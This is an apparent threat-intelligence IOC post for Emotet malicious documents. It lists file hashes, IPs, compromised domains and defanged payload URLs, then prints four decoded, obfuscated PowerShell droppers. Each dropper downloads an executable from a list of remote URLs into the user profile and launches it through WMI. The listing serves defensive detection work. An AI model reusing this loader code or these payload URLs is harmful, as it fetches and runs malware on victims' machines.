Emotet_Doc_out_2020-07-23_12_43.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:

eac069c2098e2a08afb43c1f5aae5878d557e5cef94096cefa93bbe0d04c236b
c14b2e55a66651e287542e13c52b9e5490534ee0d55cde933f5b6f0744ca27f9
d73d45bb52a4ffd9def4427538644f33df6cc2f3f86fd4c390fb0e1dc2eab2e4
e41be1b77c2b6ffeeefd926216115e4a3ec1facd6264f7faadad33102223b279
5a8f4a7b9da36a38084e054525e4d5d471070b15f958a1118eaea6f7be429767
ed83c94a771e57b78025258c6f5247debaee74c1bfed17a2cee430f31ff91f08
a707a0d2f738808b924e9b9d2fe2a24bae6124d2bcc724b320f183e88255c6a5
6c9f7eb3f83892e735f0beedd952428a90922073dcb4f87543facad68fade4db
eb3009e003594f7c6d5a2c373db44fe65d9acc0be9c31c317bf9ebfad08e633e
2f4719fe8c7d6c5de85448ec6a443b49b51cbee1b16d7d67e6a8e497a3b5cd7f
96f45a5c51839644dbf8e9f7ffaa226944422285dd997fc0ff8c23a883b18410
9c3f1dbdddf1aea861852243a66b3795d0cbf86a1ee36fb372505a839db31540
ca4ae10db92df8cf44bacee70e7560ae411a37d1559687ad47687282ca447526
74a3c90f0a3c99e8816a94689a4cac44f886be61e0dc3f6d324a661c16c663f9
139f5bcf4c7fcbe0a8a5d940c5d38dd847e2c979df74dcf680208e73b8ac668d
97d6a51f311c9af7f316be2f4d5ed00901bc5eb08c6daffb87fcf98ba3bd851e
feed500d26ff9cfe7df7ce168b01198a6f1fa9d53080d6fae513381dc632844c
b88eeea6841abee77c07e6b5243d98213c6997de1033e14ddec0cf10b9b11c35
bc7398dd8ac94a9ff8ca7a93f0755681ec84ca7fd05058ddc053cd16e1b3f4e3
c95057fce46c3c402c202fb3ac124dde463a8e1de0c26047fd254ffd11084f36
a6f854e3c35ea6d6a5cc1ae65197f94c8274c5e72b7641cd8ab8f0537a05c9f4
6dd13185eaff9d90b1cda716e8af9887e81fada08b31494b8f8a148122093d4f
88b555290b53e0369600411c472821ad9907eb147dc87e60164918aa85adc3c3
062c45cd22faf032486fa920e68f639cfd2a7b640c0d36d297e6490118729c69
840db3615ee06847a75a52b7ca20cb4149291512ac4f268a627f9a8c3379c1bf
4b0e52b567cd400c2c99e8d0862590bb832ae10b79277b8985318a3c05e5176b
b45b106204a66b5d0111681b932137b590dae6124c7176abee5740917c77e871


IPs:
104.156.48.44
104.18.58.150
104.18.59.150
104.27.146.150
104.27.175.164
45.63.57.231
49.234.191.119
5.35.250.25

Domains:

ashok-poudel.com.np
blog.tujanena.com
bucksngems.com
chestersvideobar.com
departure.world
drsoli.com
dylla-bautraeger.de
paula.strategicwebmarketingmd.com
planet7vip.com
rampietstudio.co.za
sigmanled.com
songbadtv.com
themilandpalace.com
theprizeguys.uk
wiki-lspd.xyz
www.coworkanytime.com
www.suprshoes.com
www.wiremeshseller.com
xavierlin.com
xiaodaji.com


hxxp://departure.world/wp-content/V4GFFNihI/
hxxp://songbadtv.com/wp-includes/XQrT027149/
hxxps://planet7vip.com/czy/hR8MMWwRkY/
hxxp://blog.tujanena.com/ariu/C2LSRbc8/
hxxp://drsoli.com/k1vjzk/XtSsbRPzyI/
hxxp://www.wiremeshseller.com/p/R3s08i7732871/
hxxps://ashok-poudel.com.np/wp-admin/MdO/
hxxps://dylla-bautraeger.de/wp-includes/SMo3b9v4xi23889/
hxxps://themilandpalace.com/wp-admin/rO0Hya4srsd665/
hxxps://rampietstudio.co.za/wp-admin/hTUjFEYQY/
hxxp://www.suprshoes.com/wp-includes/qf1/
hxxp://theprizeguys.uk/test/1iu9sk/
hxxps://xavierlin.com/wp-includes/ojyqm/
hxxp://wiki-lspd.xyz/cgi-bin/bi3ygxO/
hxxps://sigmanled.com/9ij4nd/q5n3yt/
hxxp://chestersvideobar.com/blogs/w0x0lEZ/
hxxp://paula.strategicwebmarketingmd.com/wp-admin/rdi3505/
hxxps://bucksngems.com/bucksn0/r96270/
hxxp://xiaodaji.com/wp-includes/ID3/DeQFPrxR/
hxxp://www.coworkanytime.com/wp-content/uploads/DZIizOT/


Decoded Base64 Powershell:
$wecwiachriz='saepcazwaugquuay';
[Net.ServicePointManager]::"Se`c`URitYPr`Oto`col" = 'tls12, tls11, tls';
$geohbeojyaec = '734';
$quouwsiabquekqueuh='xaethcoemtaox';
$moyhaec=$env:userprofile+'\'+$geohbeojyaec+'.exe';
$geuzpooquyeefjaux='koiwquounfeat';
$joipwuap=&('n'+'ew-'+'obj'+'ect') neT.WeBCLIENT;
$queijroas='hxxp://departure.world/wp-content/V4GFFNihI/
hxxp://songbadtv.com/wp-includes/XQrT027149/
hxxps://planet7vip.com/czy/hR8MMWwRkY/
hxxp://blog.tujanena.com/ariu/C2LSRbc8/
hxxp://drsoli.com/k1vjzk/XtSsbRPzyI/'."sP`LIt"([char]42);
$roaklaeh='thoamxoochob';
foreach($huaddeurquaihjaw in $queijroas){try{$joipwuap."dO`wN`l`OadfiLe"($huaddeurquaihjaw, $moyhaec);
$cheukchoiv='raekquoebbioypuay';
If ((.('Ge'+'t-Item') $moyhaec)."LE`N`gth" -ge 33483) {([wmiclass]'win32_Process')."C`R`EAtE"($moyhaec);
$quoupfouth='ceapbiobwiab';
break;
$chaoqujoadbuthyut='keibveof'}}catch{}}$chiejgumbiap='quoichbaexpaos'$chosleuldog='theirhoechxioh';
[Net.ServicePointManager]::"SEc`UriTyP`Ro`ToC`OL" = 'tls12, tls11, tls';
$thoajroof = '582';
$quaonwout='zoadsiolweulquean';
$ceuwpekreit=$env:userprofile+'\'+$thoajroof+'.exe';
$keithbeowlac='kaiqucheun';
$xiazqueay=.('new-'+'obje'+'ct') neT.WEBCLIEnt;
$youyjiomchoej='hxxp://www.wiremeshseller.com/p/R3s08i7732871/
hxxps://ashok-poudel.com.np/wp-admin/MdO/
hxxps://dylla-bautraeger.de/wp-includes/SMo3b9v4xi23889/
hxxps://themilandpalace.com/wp-admin/rO0Hya4srsd665/
hxxps://rampietstudio.co.za/wp-admin/hTUjFEYQY/'."Spl`iT"([char]42);
$vaozqueathleichjow='coiyyeecgoof';
foreach($koiggeeg in $youyjiomchoej){try{$xiazqueay."D`oWnL`OaDfi`LE"($koiggeeg, $ceuwpekreit);
$yaizjaercoak='naungeegvaochdiew';
If ((.('Get'+'-I'+'tem') $ceuwpekreit)."lENG`Th" -ge 31491) {([wmiclass]'win32_Process')."Cr`EAte"($ceuwpekreit);
$quoochyimvoed='daotfoethxais';
break;
$gootfouw='deobyuuxteiyraur'}}catch{}}$joeywuquzuak='geithtemdoud'$hainyouhtien='quaoqusioqufumjuj';
[Net.ServicePointManager]::"SE`cuRItYp`ROT`oC`ol" = 'tls12, tls11, tls';
$moimxeij = '833';
$gaiquvuquciel='mierquixfioyweeg';
$jiktheercienrooch=$env:userprofile+'\'+$moimxeij+'.exe';
$lotnesmoedpieh='miocchaszorcheic';
$fuuxyajyad=&('new-'+'ob'+'jec'+'t') NET.WEbClIEnt;
$neowcauz='hxxp://www.suprshoes.com/wp-includes/qf1/
hxxp://theprizeguys.uk/test/1iu9sk/
hxxps://xavierlin.com/wp-includes/ojyqm/
hxxp://wiki-lspd.xyz/cgi-bin/bi3ygxO/
hxxps://sigmanled.com/9ij4nd/q5n3yt/'."s`PLIT"([char]42);
$daufvioschaoch='cuaxkixdoingaix';
foreach($loelvoelzic in $neowcauz){try{$fuuxyajyad."D`ow`NloAdFILe"($loelvoelzic, $jiktheercienrooch);
$xoijxuuj='vasdinboug';
If ((&('Get-It'+'e'+'m') $jiktheercienrooch)."LE`N`Gth" -ge 24834) {([wmiclass]'win32_Process')."cRE`A`TE"($jiktheercienrooch);
$lotnierfiel='yoiswof';
break;
$wumzaijvail='jeagyaumhaen'}}catch{}}$juzgouj='quoepgam'$hiryoolquad='noogpuan';
[Net.ServicePointManager]::"sEc`UR`ityPR`Otoc`Ol" = 'tls12, tls11, tls';
$toiwthaz = '606';
$ruhguuvyeic='veeltowlaey';
$xemzoohseammuup=$env:userprofile+'\'+$toiwthaz+'.exe';
$chaisduup='sexbaed';
$nouququoisjien=.('ne'+'w-obje'+'ct') NEt.WeBcLIENT;
$juhhoathmauv='hxxp://chestersvideobar.com/blogs/w0x0lEZ/
hxxp://paula.strategicwebmarketingmd.com/wp-admin/rdi3505/
hxxps://bucksngems.com/bucksn0/r96270/
hxxp://xiaodaji.com/wp-includes/ID3/DeQFPrxR/
hxxp://www.coworkanytime.com/wp-content/uploads/DZIizOT/'."SP`Lit"([char]42);
$goigkuudlioqu='quathvoohmauqulies';
foreach($daocdeajquaok in $juhhoathmauv){try{$nouququoisjien."DOwNL`o`AdFi`Le"($daocdeajquaok, $xemzoohseammuup);
$ceuhtiohthaurgeom='fojsoejjoc';
If ((.('Get'+'-Ite'+'m') $xemzoohseammuup)."Le`NgTh" -ge 23739) {([wmiclass]'win32_Process')."c`ReATE"($xemzoohseammuup);
$cujgeaytoan='wabwed';
break;
$koohcaiwthin='xoepxientoec'}}catch{}}$huchualnoucroeb='lavpiekxes'